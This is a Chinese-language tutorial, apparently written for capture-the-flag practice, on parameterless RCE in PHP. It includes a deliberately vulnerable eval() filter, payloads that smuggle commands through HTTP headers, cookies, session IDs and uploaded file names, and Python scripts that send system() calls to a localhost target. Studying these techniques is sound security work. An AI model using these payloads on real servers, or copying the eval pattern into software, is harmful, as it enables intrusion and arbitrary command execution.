RCE总结

概念介绍:

RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。

漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

所谓无参数RCE,就是通过没有参数的函数达到命令执行的目的

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
preg_replace ( 搜索的模式,用于替换的字符串或字符串数组,要搜索替换的 )

无参rce详细解释

常用方法:

1.getenv()

获取一个环境变量值

$GLOBALS
$_SERVER $_GET
$_POST $_FILES
$_COOKIE $_SESSION
$_REQUEST $_ENV

payload:

array_rand(array_flip($a))

  1. array_rand():随机从数组中返回键
  2. array_flip():交换数组中键和值

2.getallheaders()

getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效

可以进一步利用http header的sky属性进行rce

var_dump(getallheaders()); //直接页面回显

sky: phpinfo();

sky:system(‘ls /tmp’);

或:

sky:phpinfo();

3.get_defined_vars()

如果目标中间件不为apache,可以使用get_defined_vars(),显全局变量_GET $_POST $_FILES $_COOKIE

get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量

payload:

code=var_dump(current(get_defined_vars()));&sky=phpinfo();

如果网站对一下进行全局过滤

$_GET
$_POST
$_COOKIE

最终脚本如下

import requests
from io import BytesIO

payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

4.session_id()

则,hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
	'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

5.dirname() & chdir()

poyload:

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
  1. getcwd()获取当前目录
  2. dirname()目录上跳:—返回父目录的路径
  3. chdir (字符串 $directory): bool 将 PHP 的当前目录更改为 directory.
  4. scandir()文件、目录遍历
  5. array_reverse() 函数返回翻转顺序的数组
  6. readfile() 函数读取一个文件,并写入到输出缓冲
  7. next()函数将内部指针指向数组中的下一个元素,并输出
  8. prev() - 将内部指针指向数组中的上一个元素,并输出
  9. current() - 返回数组中的当前元素的值
  10. end() - 将内部指针指向数组中的最后一个元素,并输出
  11. reset() - 将内部指针指向数组中的第一个元素,并输出
  12. each() - 返回当前元素的键名和键值,并将内部指针向前移动